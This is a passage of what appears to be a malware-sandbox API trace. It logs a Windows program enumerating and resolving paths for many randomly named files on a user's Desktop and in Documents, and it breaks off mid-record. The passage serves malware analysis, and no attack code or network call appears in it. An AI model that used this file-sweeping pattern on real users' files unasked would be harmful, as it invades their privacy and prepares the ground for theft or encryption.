ftCreationTime.dwLowDateTime=0x8f7f59e0, ftCreationTime.dwHighDateTime=0x1d997d0, ftLastAccessTime.dwLowDateTime=0x149e1a40, ftLastAccessTime.dwHighDateTime=0x1d99c76, ftLastWriteTime.dwLowDateTime=0x149e1a40, ftLastWriteTime.dwHighDateTime=0x1d99c76, nFileSizeHigh=0x0, nFileSizeLow=0x54ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="cDzt.ppt", cAlternateFileName="")) returned 1 [0162.335] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c3df0, ftCreationTime.dwHighDateTime=0x1d995dc, ftLastAccessTime.dwLowDateTime=0xfd0fe500, ftLastAccessTime.dwHighDateTime=0x1d99c59, ftLastWriteTime.dwLowDateTime=0xfd0fe500, ftLastWriteTime.dwHighDateTime=0x1d99c59, nFileSizeHigh=0x0, nFileSizeLow=0x2ca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EqAE8vp.flv", cAlternateFileName="")) returned 1 [0162.335] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca52cb20, ftCreationTime.dwHighDateTime=0x1d98dde, ftLastAccessTime.dwLowDateTime=0xac6b9280, ftLastAccessTime.dwHighDateTime=0x1d99b45, ftLastWriteTime.dwLowDateTime=0xac6b9280, ftLastWriteTime.dwHighDateTime=0x1d99b45, nFileSizeHigh=0x0, nFileSizeLow=0x185ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="NcD4gg.jpg", cAlternateFileName="")) returned 1 [0162.336] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3a675b0, ftCreationTime.dwHighDateTime=0x1d99d99, ftLastAccessTime.dwLowDateTime=0x2ee7c780, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0x2ee7c780, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0xde36, dwReserved0=0x0, dwReserved1=0x0, cFileName="X7aY056 0rvhbASv7.bmp", cAlternateFileName="X7AY05~1.BMP")) returned 1 [0162.336] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722ed930, ftCreationTime.dwHighDateTime=0x1d99242, ftLastAccessTime.dwLowDateTime=0x7191290, ftLastAccessTime.dwHighDateTime=0x1d993ce, ftLastWriteTime.dwLowDateTime=0x7191290, ftLastWriteTime.dwHighDateTime=0x1d993ce, nFileSizeHigh=0x0, nFileSizeLow=0x559d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ztjhWWR6z7cU6mtRPN.jpg", cAlternateFileName="ZTJHWW~1.JPG")) returned 1 [0162.336] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.336] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.337] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\-8f.xls")) returned 0x20 [0162.337] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0162.337] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", lpFilePart=0x0) returned 0x30 [0162.337] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\-8f.xls")) returned 0x20 [0162.337] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\cdzt.ppt")) returned 0x20 [0162.338] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0162.338] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", lpFilePart=0x0) returned 0x31 [0162.338] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\cdzt.ppt")) returned 0x20 [0162.338] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\EqAE8vp.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\eqae8vp.flv")) returned 0x20 [0162.339] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ncd4gg.jpg")) returned 0x20 [0162.339] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0162.339] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", lpFilePart=0x0) returned 0x33 [0162.339] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ncd4gg.jpg")) returned 0x20 [0162.339] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\x7ay056 0rvhbasv7.bmp")) returned 0x20 [0162.340] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0162.340] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", lpFilePart=0x0) returned 0x3e [0162.340] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\x7ay056 0rvhbasv7.bmp")) returned 0x20 [0162.340] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ztjhwwr6z7cu6mtrpn.jpg")) returned 0x20 [0162.341] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0162.341] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", lpFilePart=0x0) returned 0x3f [0162.341] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ztjhwwr6z7cu6mtrpn.jpg")) returned 0x20 [0162.341] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\1YKoP8wK6f.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\1ykop8wk6f.flv")) returned 0x20 [0162.342] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\4xirqcknn-c5.mp3")) returned 0x20 [0162.342] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0162.342] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", lpFilePart=0x0) returned 0x2b [0162.342] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\4xirqcknn-c5.mp3")) returned 0x20 [0162.342] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\5wd javgryr0uby6yy26.gif")) returned 0x20 [0162.342] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0162.342] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", lpFilePart=0x0) returned 0x33 [0162.343] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\5wd javgryr0uby6yy26.gif")) returned 0x20 [0162.343] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\6t r wkg.pdf")) returned 0x20 [0162.343] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0162.343] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", lpFilePart=0x0) returned 0x27 [0162.344] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\6t r wkg.pdf")) returned 0x20 [0162.344] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\8XVK_S420PZyaatG.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\8xvk_s420pzyaatg.m4a")) returned 0x20 [0162.344] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\aygqhcfalp7ms.bmp")) returned 0x20 [0162.344] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0162.344] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", lpFilePart=0x0) returned 0x2c [0162.345] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\aygqhcfalp7ms.bmp")) returned 0x20 [0162.345] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\a_xuo41am2 4xz.gif")) returned 0x20 [0162.345] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0162.345] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", lpFilePart=0x0) returned 0x2d [0162.346] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\a_xuo41am2 4xz.gif")) returned 0x20 [0162.346] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\bnnq2y.png")) returned 0x20 [0162.346] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0162.346] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", lpFilePart=0x0) returned 0x25 [0162.346] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\bnnq2y.png")) returned 0x20 [0162.346] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ehz3w0f6qpam.png")) returned 0x20 [0162.347] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0162.347] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", lpFilePart=0x0) returned 0x2b [0162.347] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ehz3w0f6qpam.png")) returned 0x20 [0162.347] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\F8EazCx.swf" (normalized: "c:\\users\\keecfmwgj\\desktop\\f8eazcx.swf")) returned 0x20 [0162.347] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\HOKmI6.mkv" (normalized: "c:\\users\\keecfmwgj\\desktop\\hokmi6.mkv")) returned 0x20 [0162.348] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\kcv8wxd6gm.mp3")) returned 0x20 [0162.348] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0162.348] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", lpFilePart=0x0) returned 0x29 [0162.348] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\kcv8wxd6gm.mp3")) returned 0x20 [0162.348] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\lf z_nda58jhfm.pdf")) returned 0x20 [0162.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0162.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", lpFilePart=0x0) returned 0x2d [0162.349] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\lf z_nda58jhfm.pdf")) returned 0x20 [0162.349] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ltmu_vt fzdro.mp3")) returned 0x20 [0162.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0162.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", lpFilePart=0x0) returned 0x2c [0162.350] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ltmu_vt fzdro.mp3")) returned 0x20 [0162.350] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\lw2zryjl bjcze.png")) returned 0x20 [0162.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0162.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", lpFilePart=0x0) returned 0x2d [0162.351] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\lw2zryjl bjcze.png")) returned 0x20 [0162.351] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\osef.xls")) returned 0x20 [0162.351] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0162.351] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x24, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", lpFilePart=0x0) returned 0x23 [0162.351] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\osef.xls")) returned 0x20 [0162.352] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\QgCLzLkWvWiW.pps" (normalized: "c:\\users\\keecfmwgj\\desktop\\qgclzlkwvwiw.pps")) returned 0x20 [0162.352] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\R_v.swf" (normalized: "c:\\users\\keecfmwgj\\desktop\\r_v.swf")) returned 0x20 [0162.352] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Setup.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\setup.exe")) returned 0x20 [0162.352] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\sGHD.mkv" (normalized: "c:\\users\\keecfmwgj\\desktop\\sghd.mkv")) returned 0x20 [0162.353] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\TvcK5iL2grSZw3o4I.swf" (normalized: "c:\\users\\keecfmwgj\\desktop\\tvck5il2grszw3o4i.swf")) returned 0x20 [0162.353] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\URFiGJb5u RCGpivOCI.rtf" (normalized: "c:\\users\\keecfmwgj\\desktop\\urfigjb5u rcgpivoci.rtf")) returned 0x20 [0162.353] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\xqvH7KYn.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\xqvh7kyn.flv")) returned 0x20 [0162.354] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Zp3nQJ5eu.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\zp3nqj5eu.m4a")) returned 0x20 [0162.354] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0162.354] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0162.354] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0162.354] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0162.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.355] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0162.355] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0162.355] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\*"), lpFindFileData=0x5a2e940 | out: lpFindFileData=0x5a2e940*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.355] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0162.355] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0162.357] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\*"), lpFindFileData=0x5a2e940 | out: lpFindFileData=0x5a2e940*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.357] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.357] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc88d0, ftCreationTime.dwHighDateTime=0x1d960b6, ftLastAccessTime.dwLowDateTime=0xd44e6e90, ftLastAccessTime.dwHighDateTime=0x1d97835, ftLastWriteTime.dwLowDateTime=0xd44e6e90, ftLastWriteTime.dwHighDateTime=0x1d97835, nFileSizeHigh=0x0, nFileSizeLow=0x15d1b, 